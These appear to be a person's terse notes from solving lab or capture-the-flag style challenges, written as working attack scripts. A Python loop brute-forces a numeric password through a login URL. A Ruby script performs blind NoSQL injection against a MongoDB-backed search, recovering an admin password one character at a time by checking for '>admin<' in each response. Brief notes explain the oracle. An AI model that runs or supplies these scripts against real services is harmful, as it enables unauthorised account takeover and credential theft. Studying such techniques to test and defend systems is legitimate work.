import requests as rq
for i in range(1300,99999):
req = rq.get("http://xyz.com/login.php?pass="+str(i))
if "Wrong pass" in req.text:
print("Attempt #%d" % i)
else:
print("\n\nSuccess!\nPassword: %d" % i)
break
Test every letter to see if it matches the 'first' letter/set
--------------------
Goal:
5b317d17-3ee3-4865-8605-bb579f58c10a
--------------------
Loop every digit:
a
b
c
ca
cb
cc
--------------------
Need 'httparty' module
>> sudu gem install httparty
>> vi expl.rb
--------------------
require 'httparty'
URL="mymongo.com"
def check?(str)
resp = HTTParty.get("http://#{URL}/?search=admin' %26%26 this.password.match(/^#{str}/)%00")
return resp.body=~ />admin</
end
#puts check?("5").inspect
#puts check?("a").inspect
CHARSET = ('a'..'z').to_a+('0'..'9').to_a+['-']
password = ""
while true
CHARSET.each do |c|
puts "Trying: #{c} for #{password}"
test = password+c
if check?("^#{test}.*$")
password+=c
puts password
break
end
end
end
--------------------
Note:
^5 ..starts with 5
>admin< ..used this b/c success page had this tag with >< marks
"5" and "aaa" as yes/no examples